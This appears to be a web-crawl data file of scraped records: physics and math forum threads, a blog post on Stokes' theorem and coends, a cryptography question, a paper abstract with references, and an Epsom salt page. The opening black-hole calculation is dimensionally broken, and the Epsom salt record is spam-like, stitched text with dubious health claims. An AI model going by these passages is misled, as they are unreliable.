cannot escape a massive structure is $\displaystyle {{r}_{qgd}}=\sqrt{{{G}_{const}}\frac{M}{c}}$ where $\displaystyle {{G}_{const}}$ is used to represent the gravitational constant. Since the Schwarzschild radius for a black hole of mass ${{M}_{BH}}$ is ${{r}_{s}}={{G}_{const}}\frac{{{M}_{BH}}}{{{c}^{2}}}$ then $\displaystyle {{r}_{qgd}}=\sqrt{c{{r}_{s}}}$ . Using ${{r}_{qgd}}$ to calculate ${{\delta }_{{{r}_{qgd}}}}$ the angular radius of the shadow of Sagitarius A, the black hole at the center of our galaxy, we get ${{\delta }_{{{r}_{qgd}}}}\approx 26.64{{10}^{-5}}$ arcsecond as a minimum value which is about 10 times the angular radius calculated using the Schwarzschild radius which i ${{\delta }_{{{r}_{s}}}}=27.6*{{10}^{-6}}$ arcsecond. This prediction will be tested in the near future by the upcoming observations by the Event Horizon Telescope.	2020-01-28 19:13:50	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 22, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.975938081741333, "perplexity": 236.55008548161172}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-05/segments/1579251783000.84/warc/CC-MAIN-20200128184745-20200128214745-00443.warc.gz"}
https://www.physicsforums.com/threads/rearranging-of-an-equation.715493/	# Rearranging of an equation i have a given equation of the following. W= -A1B1c[$\frac{1}{-c+1}$B-c+1] where the part in brackets is the integrated function of B going from B1 to B2. then this equation somehow ends up like so W=$\frac{A_1B_1}{c-1}${((B1)/(B2))^(c-1)-1} (sorry for the messy format on the right hand side i couldn't get latex to work..) i don't know how they got from the first equation to the second equation. i don't know where to start because i don't know how certain terms were combined. Last edited: Related Calculus and Beyond Homework Help News on Phys.org Mark44 Mentor i have a given equation of the following. W= -A1B1c[$\frac{1}{-c+1}$B-c+1] where the part in brackets is the integrated function of B going from B1 to B2. Is this what you mean? $$W = -A_1B_1^c \int_{B_1}^{B_2} \frac{B^{-c + 1} dB}{-c + 1}$$ then this equation somehow ends up like so W=$\frac{A_1B_1}{c-1}${((B1)/(B2))^(c-1)-1} (sorry for the messy format on the right hand side i couldn't get latex to work..) i don't know how they got from the first equation to the second equation. i don't know where to start because i don't know how certain terms were combined. If you right-click on the integral I wrote, you can see the LaTeX that creates it. thanks, however that wasn't what i meant. that function inside the bracket is 'already' integrated; what i was trying to say was that the limits just weren't taken. W = $-A_1B_1^c \frac{B^{-c + 1}}{-c + 1}$ Last edited by a moderator: Mark44 Mentor Are you sure that your antiderivative is correct? I'm thinking you might have made a mistake. What was the problem you started with? pasmith Homework Helper i have a given equation of the following. W= -A1B1c[$\frac{1}{-c+1}$B-c+1] where the part in brackets is the integrated function of B going from B1 to B2. So that's $$W = -A_1 B_1^c \frac{1}{-c+1}\left(B_2^{-c+1} - B_1^{-c + 1}\right) = \frac{A_1 B_1^c }{c-1}\left(B_2^{1-c} - B_1^{1-c}\right)$$ after tidying up some signs. Now we pull a common factor of $B_1^{1-c}$ out of the bracket: $$W = \frac{A_1 B_1^c B_1^{1-c}}{c - 1} \left( \frac{B_2^{1-c}}{B_1^{1-c}} - 1\right) = \frac{A_1 B_1}{c - 1}\left( \left(\frac{B_2}{B_1}\right)^{1-c} - 1\right)$$ Finally we flip the fraction in the bracket, remembering to multiply the exponent by -1 as we do so.	2020-05-29 10:18:26	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 2, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8451119065284729, "perplexity": 579.502779549321}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-24/segments/1590347402885.41/warc/CC-MAIN-20200529085930-20200529115930-00555.warc.gz"}
http://physics.stackexchange.com/questions/77219/visualizing-irreps-of-sun/77240	# Visualizing irreps of SU(N) What physical system can one use as an example while considering irreps of SU(N)? What is the correspondence between the system and the irreps? - An irreducible representation of a compact Lie group such as $SU(N)$ may always be understood as being the quantization of a certain 1-dimensional topological gauge field theory. In that the representation space is the Hilbert space of states of the 1d TFT and the group action on that is the action of the quantum observables on the states.	2015-07-06 05:27:35	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8720130324363708, "perplexity": 185.73440356999998}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-27/segments/1435375098059.60/warc/CC-MAIN-20150627031818-00071-ip-10-179-60-89.ec2.internal.warc.gz"}
https://www.physicsforums.com/threads/factor-the-following-over-the-set-of-rational-numbers.213570/	Factor the following over the set of rational numbers 1. Feb 6, 2008 dranseth 1. The problem statement, all variables and given/known data Factor the following over the set of rational numbers. Simplify if possible. cos³ x-1 I do not know how to deal with the cubic cosine. Help is greatly appreciated. 2. Feb 6, 2008 Dick If you put cos(x)=1 then that expression is zero. That tells you that (cos(x)-1) is a factor. Divide (cos(x))^3-1 by cos(x)-1. More generally any expression of the form a^3-b^3 can be factored in the same way. 3. Feb 6, 2008 dranseth so would this be fully factored over the set of rational numbers? cos (x-1)(x^2+x+1) 4. Feb 6, 2008 Dick Nooo. That's all mishmashed. I thought the expression you gave was a^3-1 where a=cos(x). That factors into (a-1)(a^2+a+1) all right. Substitute a=cos(x) into that. There shouldn't be any cos(x-1) or bare powers of x floating around. 5. Feb 6, 2008 dranseth I'm quite confused right now. On the assignment page, it is written as: cos³ x-1 6. Feb 6, 2008 Dick By the usual rules of precedence, that is interpreted as (cos(x))^3-1. Not cos^3(x-1). They are two different things. 7. Feb 6, 2008 dranseth (cosx - 1)(cos2x + cosx + 1) ??? 8. Feb 6, 2008 Dick Write carefully. Does cos2x mean cos^2(x) or cos(2x)? 9. Feb 6, 2008 dranseth Acutally, would it not be cos(x)^2 ?? 10. Feb 6, 2008 HallsofIvy Staff Emeritus cos2(x) is a standard notation for (cos(x))2. 11. Feb 6, 2008 dranseth so what you are saying is: Cos³ x-1 = cos(x-1)³ = (cosx-cos1)(cosx-cos1)(cosx-cos1) 12. Feb 6, 2008 Dick No!!! Worse, and worse. You basically had it when you wrote "(cosx - 1)(cos2x + cosx + 1)". I was just suggesting it would be clearer to write cos^2(x) rather than cos2x because I assumed that's what you meant. The more you write, the more I worry about you. cos(x-1) IS NOT equal to cos(x)-cos(1). 13. Feb 6, 2008 dranseth Sorry, I have never dealt with cosine to any degree like this before. Let me double check that I have it correct now. Is cos³x-1 the same as cosx³-1 ? 14. Feb 6, 2008	2017-09-24 14:29:06	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8236562609672546, "perplexity": 3457.656863222485}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-39/segments/1505818690029.51/warc/CC-MAIN-20170924134120-20170924154120-00014.warc.gz"}
https://thosgood.com/blog/2019/09/04/stokes-coend.html	# Everything is Stokes'; everything is coend ###### 4th September, 2019 For category theorists, the idea that “everything is a Kan extension” is a familiar one, as is the slightly more abstract version “everything is a (co)end”. For differential geometers, the idea that “everything is Stokes’ theorem” is sort of the equivalent adage. In an entirely typical turn of events, it seems that these two seemingly unrelated aphorisms can be linked together, as I found out today on Twitter. Today, @ququ7 tweeted/twote/twut that, a few years back, Tim Campion had told him how Stokes’ theorem is a result about coends. All I want to do here is share this great little snippet, but I won’t be doing much more than just repeating exactly the contents of the above tweet, so you might as well just go check it out there! Here’s the idea. We look at \mathbb{N} as a poset, the category \mathsf{Vect}_\mathbb{R} of real-vector spaces, and fix some manifold X. Then we have two pretty standard functors. Firstly, we have C^X:\mathbb{N}^\mathrm{op}\to\mathsf{Vect}_\mathbb{R}, which sends n\in\mathbb{N} to the free vector space C_n=\langle\varphi\colon Y\to X\rangle_\mathbb{R}, where \varphi\colon Y\to X are smooth maps from compact, n-dimensional, oriented manifolds Y with boundary, and acts on morphisms by sending n\to n+1 to the map \partial\colon C_{n+1}\to C_n, given by taking the boundaries of our manifolds Y. Secondly, there is the de Rham functor \Omega_X\colon\mathbb{N}\to\mathsf{Vect}_\mathbb{R}, which sends n\in\mathbb{N} to the space \Omega_X^n of smooth n-forms on X, and sends n\to n+1 to the exterior derivative \mathrm{d}\colon\Omega_X^n\to\Omega_X^{n+1}. Now we use the usual tensor product on \mathsf{Vect}_\mathbb{R} to get a functor C^X\otimes\Omega_X\colon\mathbb{N}\times\mathbb{N}^\mathrm{op}\to\mathsf{Vect}_\mathbb{R}. We claim that we can make C^X\otimes\Omega_X\to\mathbb{R} into a cowedge, i.e. that, for all n\in\mathbb{N}, we can find morphisms w_n\colon C_n^X\otimes\Omega_X^n\to\mathbb{R} such that, for any f\colon m\to n (and here we can restrict to m\to m+1, since these are the morphisms in \mathbb{N} that generate all the others (that aren’t the identity)), the square \begin{array}{ccc} C_{m+1}^X\otimes\Omega_X^m & \xrightarrow{\partial\,\otimes\,1} & C_m^X\otimes\Omega_X^m\\ {\scriptstyle 1\,\otimes\,\mathrm{d}}\bigg\downarrow && \bigg\downarrow{\scriptstyle w_m}\\ C_{m+1}^X\otimes\Omega_X^{m+1} & \xrightarrow{w_{m+1}} & \mathbb{R} \end{array} commutes. The surprising fact, then, is that Stokes’ theorem tells us that taking w_n to be defined by \int\colon(\varphi\colon Y\to X)\otimes\omega \mapsto \int_Y \varphi^\omega gives us exactly what we want. Indeed, Stokes’ theorem (in some form) says that \int_{\partial Z}\tau=\int_Z \mathrm{d}\tau and, since pullbacks commute with \mathrm{d}, when we replace \tau with \varphi^\omega, we get that the above square commutes. Neat! What is not entirely clear to me, however, is if this is really a fact about coends, since then we would need to show that this cowedge is universal. This is something for me to think about the next time I’m bored on the tram. All in all, this is a bit similar to an abstract version of de Rham’s theorem, which says that the above integration map (when we replace C_n by singular cochains) is a quasi-isomorphism, and the commuting square sort of encodes the fact that integration respects the differentials of the two complexes. (This is what Daniel Litt pointed out in a reply). One other question that I do have is the following: is there something to be gained by writing C_X as the functor represented by X, and using the coend version of the Yoneda lemma? I don’t know, but would love to find out!	2021-12-06 11:50:01	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9239516258239746, "perplexity": 1261.39661408156}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964363292.82/warc/CC-MAIN-20211206103243-20211206133243-00564.warc.gz"}
https://cstheory.stackexchange.com/questions/17568/are-there-efficient-black-box-constructions-of-sigma-protocols-for-sat	# Are there efficient black-box constructions of sigma-protocols for SAT? Is there a known black-box construction for the following implication? non-interactive string commitment that stretches additively by an amount which does not depend on the string being committed to $\implies$ sigma-protocol for, equivalently, circuit-SAT or 3-SAT, whose communication complexity scales subquadratically with the size of the SAT instance The only methods I know either use circuit-SAT, commit to the values of enough gates, and then use the code of the commitment scheme to prove that the values committed to are correct and cause the circuit to output TRUE $\:$ (using the code makes the construction not black box) or use a graph with a number of edges that scales linearly with the number of variables (as the case may be) and commit to each entry in the adjacency matrix, for a communication complexity that scales quadratically with the size of the SAT instance or reduce to 3-coloring and, although the communication for each instance of the "core" only scales linearly, need a number of parallel executions of the "core" that scales linearly, for a communication complexity that scales quadratically with the size of the SAT instance .	2019-07-18 17:04:56	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7281163930892944, "perplexity": 1293.8713026092676}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-30/segments/1563195525699.51/warc/CC-MAIN-20190718170249-20190718192249-00469.warc.gz"}
https://projecteuclid.org/euclid.aaa/1412606045	## Abstract and Applied Analysis ### Discussions on Recent Results for $\alpha$-$\psi$-Contractive Mappings #### Abstract We establish certain fixed point results for $\alpha \text{-}\eta$-generalized convex contractions, $\alpha \text{-}\eta$-weakly Zamfirescu mappings, and $\alpha \text{-}\eta$-Ćirić strong almost contractions. As an application, we derive some Suzuki type fixed point theorems and certain new fixed point theorems in metric spaces endowed with a graph and a partial order. Moreover, we discuss some illustrative examples to highlight the realized improvements. #### Article information Source Abstr. Appl. Anal., Volume 2014, Special Issue (2014), Article ID 456482, 13 pages. Dates First available in Project Euclid: 6 October 2014 https://projecteuclid.org/euclid.aaa/1412606045 Digital Object Identifier doi:10.1155/2014/456482 Mathematical Reviews number (MathSciNet) MR3178870 Zentralblatt MATH identifier 07022409 #### Citation Hussain, N.; Kutbi, M. A.; Khaleghizadeh, S.; Salimi, P. Discussions on Recent Results for $\alpha$ - $\psi$ -Contractive Mappings. Abstr. Appl. Anal. 2014, Special Issue (2014), Article ID 456482, 13 pages. doi:10.1155/2014/456482. https://projecteuclid.org/euclid.aaa/1412606045 #### References • R. Espínola and W. A. Kirk, “Fixed point theorems in $R$-trees with applications to graph theory,” Topology and its Applications, vol. 153, no. 7, pp. 1046–1055, 2006. • R. P. Agarwal, N. Hussain, and M.-A. Taoudi, “Fixed point theorems in ordered Banach spaces and applications to nonlinear integral equations,” Abstract and Applied Analysis, vol. 2012, Article ID 245872, 15 pages, 2012. • M. Abbas, I. Altun, and S. Romaguera, “Common fixed points of Ćirić-type contractions on partial metric spaces,” Publicationes Mathematicae Debrecen, vol. 82, no. 2, pp. 425–438, 2013. • L. B. Ćirić, “A generalization of Banach's contraction principle,” Proceedings of the American Mathematical Society, vol. 45, pp. 267–273, 1974. • L. Ćirić, N. Hussain, and N. Cakić, “Common fixed points for Ćirić type $f$-weak contraction with applications,” Publicationes Mathematicae Debrecen, vol. 76, no. 1-2, pp. 31–49, 2010. • L. Ćirić, M. Abbas, R. Saadati, and N. Hussain, “Common fixed points of almost generalized contractive mappings in ordered metric spaces,” Applied Mathematics and Computation, vol. 217, no. 12, pp. 5784–5789, 2011. • M. A. Geraghty, “On contractive mappings,” Proceedings of the American Mathematical Society, vol. 40, pp. 604–608, 1973. • M. Gopal, M. Imdad, C. Vetro, and M. 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Rezapour, “Approximate fixed points of generalized convex contractions,” Fixed Point Theory and Applications, vol. 2013, article 255, 2013. • P. Salimi, A. Latif, and N. Hussain, “Modified alpha-psi-con-tractive mappings with applications,” Fixed Point Theory and Applications, vol. 2013151, 2013. • B. Samet, C. Vetro, and P. Vetro, “Fixed point theorems for $\alpha$-$\psi$-contractive type mappings,” Nonlinear Analysis: Theory, Methods & Applications, vol. 75, no. 4, pp. 2154–2165, 2012. • E. Karap\inar and B. Samet, “Generalized $\alpha$-$\psi$ contractive type mappings and related fixed point theorems with applications,” Abstract and Applied Analysis, vol. 2012, Article ID 793486, 17 pages, 2012. • P. Salimi and E. Karap\inar, “Suzuki-Edelstein type contractions via auxiliary functions,” Mathematical Problems in Engineering, vol. 2013, Article ID 648528, 8 pages, 2013. • M. Berinde, “Approximate fixed point theorems,” Studia Universitatis Babeş-Bolyai, vol. 51, no. 1, pp. 11–25, 2006. • N. Hussain, A. Amini-Harandi, and Y. J. Cho, “Approximate endpoints for set-valued contractions in metric spaces,” Fixed Point Theory and Applications, vol. 2010, Article ID 614867, 13 pages, 2010. • D. Ariza-Ruiz, A. Jiménez-Melado, and G. López-Acedo, “A fixed point theorem for weakly Zamfirescu mappings,” Nonlinear Analysis: Theory, Methods & Applications, vol. 74, no. 5, pp. 1628–1640, 2011. • V. Berinde, “Some remarks on a fixed point theorem for Ćirić-type almost contractions,” Carpathian Journal of Mathematics, vol. 25, no. 2, pp. 157–162, 2009. • T. Suzuki, “A generalized Banach contraction principle that characterizes metric completeness,” Proceedings of the American Mathematical Society, vol. 136, no. 5, pp. 1861–1869, 2008. • N. Hussain, M. A. Kutbi, and P. Salimi, “Fixed point theory in alpha-psi-complete metric spaces with applications,” Abstract and Applied Analysis. In press. • J. Jachymski, “The contraction principle for mappings on a metric space with a graph,” Proceedings of the American Mathematical Society, vol. 136, no. 4, pp. 1359–1373, 2008. • N. Hussain, S. Al-Mezel, and P. Salimi, “Fixed points for $\psi$-graphic contractions with application to integral equations,” Abstract and Applied Analysis, vol. 2013, Article ID 575869, 11 pages, 2013. • N. Hussain, M. A. Kutbi, and P. Salimi, “Best proximity pointresults for modified $\alpha$-$\psi$-proximal rational contractions,” Abstract and Applied Analysis, Article ID 927457, 14 pages, 2013. • N. Hussain, A. R. Khan, and R. P. Agarwal, “Krasnosel'skii and Ky Fan type fixed point theorems in ordered Banach spaces,” Journal of Nonlinear and Convex Analysis, vol. 11, no. 3, pp. 475–489, 2010. • N. Hussain and M. A. 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Rodríguez-López, “Contractive mapping theorems in partially ordered sets and applications to ordinary differential equations,” Order, vol. 22, no. 3, pp. 223–239, 2005. \endinput	2019-10-19 09:50:34	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 5, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.29878291487693787, "perplexity": 4066.6250288109636}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986692723.54/warc/CC-MAIN-20191019090937-20191019114437-00389.warc.gz"}
http://i-formia.it/gwrp/epsom-salt-and-ammonia-reaction.html	This seemed to take care of it, and it was soothing and rejuvenating to my skin. Epsom salt has a molecular formula of MgSO4. USP Grade Epsom Salt: The Ideal Bath Salt Base For The Best Soaking Results There are a thousand things you can do with Epsom salt. How Much Hydrogen Peroxide Per Gallon Of Water. Read about the examples and uses of Acid, Bases and salts at Vedantu. reaction ammonia aqueous medium electrocoagulation concentration Prior art date 2013-02-22 Legal status (The legal status is an assumption and is not a legal conclusion. The magnesium level in soil can be adjusted with Epsom salt. table salt and ammonia is just a homemade type of pickle (acidic mix used to clean jewelry and such after soldering and so on) I wore it non stop and found that scratches on it revealed that it was only a chemical reaction on the surface. The word, precipitate, is both a verb and a noun. It is readily soluble in water (weak hydrolysis on the cation). So I’m putting out beer, salt, coffee grounds,ammonia, and sending my boys out with a knife on a stick (per Lynn below) to try to find any others. Soil that is lacking sulfur for a particular crop, such as onions, may benefit from Epsom salt. Formula and structure: Magnesium sulfate has three known form: anhydrous, monohydrated and heptahydrated form and its chemical formula are: MgSO 4 , MgSO 4. Along with its needed effects, magnesium sulfate (the active. Epsom Salts. While Epsom salt is made of magnesium and sulfate, table salt is composed of a mineral compound that is sodium chloride like kosher salt and sea salt. Fast Acting Sulfur $26. however, the bond occurs with the Nitrogen attom while the. The energy it took to make this change lowered the temperature. H 2 O and MgSO 4. 2 degrees Celsius. write a balanced chemical reaction (not in words!), and iii. When ammonia gas dissolve in water, it forms aqueous ammonium hydroxide which is basic. From epsom salt crystals worksheets to epsom salt paint videos, quickly find teacher-reviewed educational resources. Ammonia (NH 3) reacts with water to make a clear solution of ammonium hydroxide (NH 4 OH), or household ammonia. Gary Pilarchik (The Rusted Garden) 1,108,481 views. KCN is a basic salt. Epsom salts are often used to soothe overworked muscles or as part of cosmetic treatments, such as facials, but they don't actually contain any sodium. Sulfur sensitivity looks a lot like a histamine reaction, including hives, itchiness, asthma, headaches, nausea, fatigue, flushing, and brain fog. Effect of sulfuric acid on epsom salts. Jan 3, 2017. Mixing ammonia and bleach together results in toxic fumes that are very dangerous and cause extreme irritation to the eyes and lungs and can even result in death. Salt — Salt, n. Uncategorized. Reactions Commercial Anhydrous ammonia NH 3 82% Ammonium Nitrate NH 4NO 3 34% Urea (NH 2) 2CO 46% UAN solution 28-32% Ammonium Sulfate (NH 4) 2SO 4 21%. equilibrium will shift towards left. , Technical & Magriculture® Synonyms Magnesium Sulfate Heptahydrate, Epsom Salts Recommended use of the chemical and restrictions on use Recommended Use 1. Attach the sprayer to a hose and spray the mixture on your lawn, covering up to 2,500 square feet. While that makes ammonia sound like a dangerous chemical to have around, the truth is that ammonia has been used around the household for decades. As nouns the difference between salt and nitrate is that salt is a common substance, chemically consisting. Since more heat is pro-duced in the first reaction than consumed in the second, the overall reaction is. The net ionic equations for these two reactions are as follows:. Place them on their pictures. Such a response to sulfa is not all that uncommon. Self Care is one of the most VITAL acts of Self Love to oneself. i'm able to tutor you ways to take brimstone from the slopes of a volcano, burn it and condense the vapors in water to make oil. A method for reducing a concentration of at least one ammonia-related species in an aqueous medium, comprising the steps of: a) providing a housing including a lower portion defining a reaction chamber, a base, and an upper portion defining a development chamber; b) arranging a plurality of reaction plates within the reaction chamber, the plates being vertically disposed in the reaction. Hydrochloric acid is a monobasic acid with one replaceable hydrogen ion and so forms only one normal salt. 3 million tons. ALT (alanine amino transferase) converts ammonia into urea via the urea cycle in the liver. Fill out the chart in Data Table B to indicate the substances used in each controlled experiment. Qualitative Analysis of Salts What is qualitative analysis? Qualitative analysis of a salt Analysis is a chemical technique used to identify the ions present in a salt by analysing its physical and chemical properties and hence determine the identity of the salt. However, it is important to create a mouthwash that is not too salty for you to manage. The worst that could happen: A chemical reaction could result in foul odor and smoke. Epsom Salt isn't actually salts. The mixture is commonly used as a home remedy for achy sore throats, cleaning and pest control. Current levels are 0. Why is Epsom Salt/Magnesium Sulfate Good For Tomato & Vegetable Plants: The Details! - TRG 2014 - Duration: 6:10. Apart from the reactions with acids, this section also covers in detail other reactions of bases (acid reactions are covered in Part 4) with other chemicals e. Allow the mixture to stand for 30 minutes and record your observations. For general household cleaning and disinfecting with a minimum of fumes, dilute bleach at a 1:100 ratio, or 2 teaspoons bleach per gallon of water. Repeat only once, if necessary. I wouldn't do the soaks too often since you got such a huge reaction from them. Kitchen chemistry experiments like making crystals from salt or sugar solutions are common ways of learning about evaporation and crystallization. Make a key. This Means That An Aqueous Solution Of Ammonia (a Solution In Which Water Is The Solvent Is Called An Aqueous Solution) Will Contain NH4OH. Place the products on their pictures. Salt vs Epsom salt. The qualitative analysis methods that can be used on a salt are as follows: a) analysis of the colour and physical properties of the salt b) analysis of the solubility of the salt in water c) analysis of the gases released. However, mixing anything with ammonia yourself is not recommended due to harmful chemical fumes. 195g of a salt mixture. Classify the reaction between magnesium sulfate and ammonia. If enough magnesium is used, magnesium sulfate drops out of solution to form a white salt. Explain why each salt appears to be neutral, acidic, or alkaline. Watering Can Method: Combine ingredients in a clean jar. It can take anywhere up to an hour. These disruptions can change mood and behavior, and make it harder to think clearly and move with coordination. Ah - found my properties of metals dictionary - the corrosion product, which for normal epsom salts concentration (assuming none is left in the bottom of the tub after the bath) should be mild or relatively slow-growing, is a powdery white coating with blue-green splotches in it, which requires a mild to moderate acid or highly abrasive (obviously not suitable for your tub) scouring powder to. Question: What is a double substitution chemical reaction? Materials: Glass or jar. Check to be sure that our drawings show the conservation of mass. House hold ammonia is a dilute solution of Ammonium hydroxide ( NH4OH) , when table salt NaCl is added into house hold Ammonia , simply Nacl will get dissolved to the degree of saturation depending on amount of water in Domestic Ammonia and ionisation of Na and Cl will take place. Self Care is one of the most VITAL acts of Self Love to oneself. Place them on their pictures. bile s's glycine or taurine conjugates of bile acids , which are formed in the liver and secreted in the bile. hydrogen, chemists usually make salts by reacting a metal oxide or a metal carbonate with an acid. table salt is not the same thing as Epsom salt. a neutral salt (formed by the reaction of a strong acid with a strong base) b. It is a different compound than table salt. B When an acid reacts with a base, neutralisation takes place. Make a key. ) Total Duration 35-50 minutes in class Assessment. To show how sodium chloride is formed by the reaction between sodium and chlorine gas. It is absorbed through the skin when taken in a hot bath. L-carnitine, helps lower ammonia levels ***For those with the CBS defect, avoid magnesium sulfate (Epsom salts), MSM, and Chrondroitin whenever possible. Alum contains aluminum When alum reacts with ammonia, aluminum hydroxide (Al. 10, Infusion from Leaf of Hibiscus Sabdariffa. barium chloride + sodium sulfate ® metathesis BaCl 2 + Na 2 SO 4 ® 2N aCl + BaSO 4. A salt is a compound made up of positively charged ions and negatively charged ions which are held together in a solid state because the positive and negative charges attract one another. Addition of aqueous ammonia to a solution of Epsom salt produces "milk of magnesia", a suspension of magnesium hydroxide that has a milky appearance. The solutions involved are colorless. reaction ammonia aqueous medium electrocoagulation concentration Prior art date 2013-02-22 Legal status (The legal status is an assumption and is not a legal conclusion. Through a process called reverse osmosis, Epsom salt pulls harmful toxins out of the body through the skin and allows the magnesium and sulfates to enter. Sodium bicarbonate is a salt with the composition of sodium and bicarbonate ions. It's a simple, safe, and easy way to use a natural. Sodium Thiosulfate is not an otc dietary supplement, it is a non-hazardous industry or chemical grade mineral much like Epsom Salts (Magnesium Sulfate) and Borax (a salt form of Boron aka Sodium Tetra Borate). To use magnesium sulfate as an epsom salt soak, dissolve in a large amount of water in a large bowl, a bucket, a foot tub, or a bath tub. Dynarex Ammonia Inhalants, 33 Cc, 10 Ampules. Ammonium sulfate (American English and international scientific usage; ammonium sulphate in British English ); (NH 4) 2 SO 4, is an inorganic salt with a number of commercial uses. Salt — Salt, n. When a person is poisoned by a barium compound such as barium hydroxide, the treatment is to give the person a solution of Epsom salts, which is magnesium sulfate heptahydrate. The 